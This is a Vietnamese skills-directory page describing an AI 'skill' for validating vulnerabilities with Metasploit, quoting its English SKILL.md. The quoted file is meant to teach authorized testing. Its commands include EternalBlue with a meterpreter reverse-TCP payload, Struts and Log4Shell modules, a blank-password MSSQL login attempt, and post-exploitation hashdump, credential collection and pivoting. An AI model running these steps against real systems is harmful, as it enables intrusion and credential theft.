Chuyển đến nội dung
Skillpedia
Bảo mật35k · #7927

exploiting-vulnerabilities-with-metasploit-framework

Skill này làm gì

Công cụ này giúp kiểm tra xem các lỗ hổng bảo mật trong hệ thống có thực sự bị khai thác được không. Nó dùng chương trình Metasploit để thử nghiệm và chứng minh tác động của các lỗi này, hữu ích cho những người quản lý bảo mật mạng.

Khi nào nên dùng

  • ✓Khi kiểm thử bảo mật các hệ thống có sự cho phép.
  • ✓Khi kiểm tra xem các bản vá bảo mật đã được áp dụng đúng chưa.
  • ✓Khi chứng minh rủi ro thực tế của một lỗi cho ban lãnh đạo.

Liên kết skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Kiểm tra xem lỗ hổng MS17-010 trên máy chủ 192.168.1.100 có thể bị khai thác không.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Metasploit dùng các “module” (mô-đun), tức những công cụ có sẵn để thử khai thác các lỗi đã biết. Trước tiên, nó kiểm tra xem lỗi có tồn tại không, sau đó, nếu được phép, thử khai thác để chứng minh rủi ro.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Exploiting Vulnerabilities with Metasploit Framework

Overview

The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.

When to Use

  • When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Metasploit Framework installed (Kali Linux or standalone)
  • PostgreSQL database for session/credential management
  • Written authorization and rules of engagement for testing
  • Isolated test environment or approved production testing window
  • Understanding of networking, protocols, and exploitation concepts

Core Concepts

Metasploit Architecture

  • msfconsole: Primary interactive command-line interface
  • Exploits: Modules that leverage vulnerabilities to gain access
  • Payloads: Code executed on the target after successful exploitation
  • Auxiliary: Scanning, fuzzing, and information gathering modules
  • Post-Exploitation: Modules for privilege escalation, persistence, pivoting
  • Encoders: Payload encoding to evade signature-based detection
  • Nops: No-operation generators for payload alignment

Exploitation Workflow in Vulnerability Management

Unlike offensive red teaming, vulnerability management uses Metasploit to:

  1. Validate scanner findings (confirm exploitability)
  2. Demonstrate risk to business stakeholders
  3. Prioritize remediation based on proven exploitation paths
  4. Verify patches by confirming exploits no longer succeed

Workflow

Step 1: Initialize Metasploit Environment

# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init

# Launch msfconsole
msfconsole -q

# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025

# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns

Step 2: Validate Specific Vulnerabilities

# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Only exploit if check confirms vulnerability and authorized
msf6> exploit

# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check

Step 3: Auxiliary Scanning for Validation

# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run

Step 4: Post-Exploitation Impact Assessment

# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute

…
Câu hỏi thường gặp

Metasploit là gì?

Đó là bộ công cụ rất phổ biến được các chuyên gia bảo mật dùng để kiểm tra và tìm lỗi trong hệ thống.

Tôi có cần được phép để dùng công cụ này không?

Có, điều quan trọng là phải có văn bản cho phép và tuân thủ các quy tắc rõ ràng trước khi kiểm thử bất kỳ hệ thống nào, đặc biệt trong môi trường sản xuất.

“Exploit” là gì?

Đó là một đoạn mã hoặc kỹ thuật tận dụng lỗ hổng bảo mật để truy cập trái phép hoặc thực hiện hành động trên hệ thống.

Chi tiết

Mô tả gốc của tác giả

Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability r

repo: mukul975/Anthropic-Cybersecurity-Skills

Độ phổ biến

Sao GitHub
35k
Vị trí xếp hạng
#7927
Giấy phép
Apache-2.0
Cập nhật
31/8/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự